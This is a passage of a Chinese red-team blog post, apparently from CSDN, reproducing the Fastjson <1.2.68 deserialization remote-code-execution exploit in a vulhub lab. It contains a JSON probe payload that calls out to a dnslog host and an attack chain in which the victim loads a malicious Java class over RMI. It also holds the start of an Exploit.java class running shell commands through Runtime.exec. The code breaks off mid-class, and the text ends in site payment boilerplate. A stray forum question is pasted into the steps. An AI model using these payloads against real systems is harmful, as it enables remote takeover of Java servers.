红队武器库:fastjson小于1.2.68全漏洞RCE利用exp复现

0x01漏洞介绍

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

0x02影响范围

Fastjson < 1.2.68

Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有

0x03漏洞复现

下面以Fastjson 1.2.47 为例子,因为vulhub有现成的环境十分方便

P牛我用vulhub中的 1.2.47的docker   想测试doslog检查 fastjson 但是总是收到不到dnslog  但是正常的exp反弹shell就是可以我很疑惑    
我的用法正确吗,用的这个{"@type":"java.net.Inet4Address","val":"bouaiq.dnslog.cn"}

下面是流程示意图

image-20200704111745527

主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)

在整个远程命令执行流程

1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)

2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C

3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类

4、主机A引发恶意系统命令执行

0x04复现流程

根据上图流程和环境复现:

主机A: http://1.1.1.1:8090 (存在Fastjson漏洞主机)
主机B: http://2.2.2.2:8888 (恶意java类服务)
主机C: rmi://2.2.2.2:9999 (远程方法调用服务)

实际上主机B和C是一台机器不同端口)

0x041 构造恶意方法

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

首先编译并上传命令执行代码

使用如下payload:

其中touch /zydx666为系统命令,可以根据自己需求随意修改

注意该文件名叫Exploit.java固定格式不能变

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
   
    public Exploit() throws Exception {
   
        Process p = Runtime.getRuntime().exec(new String[]{
   "bash", "-c", "touch /zydx666"}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值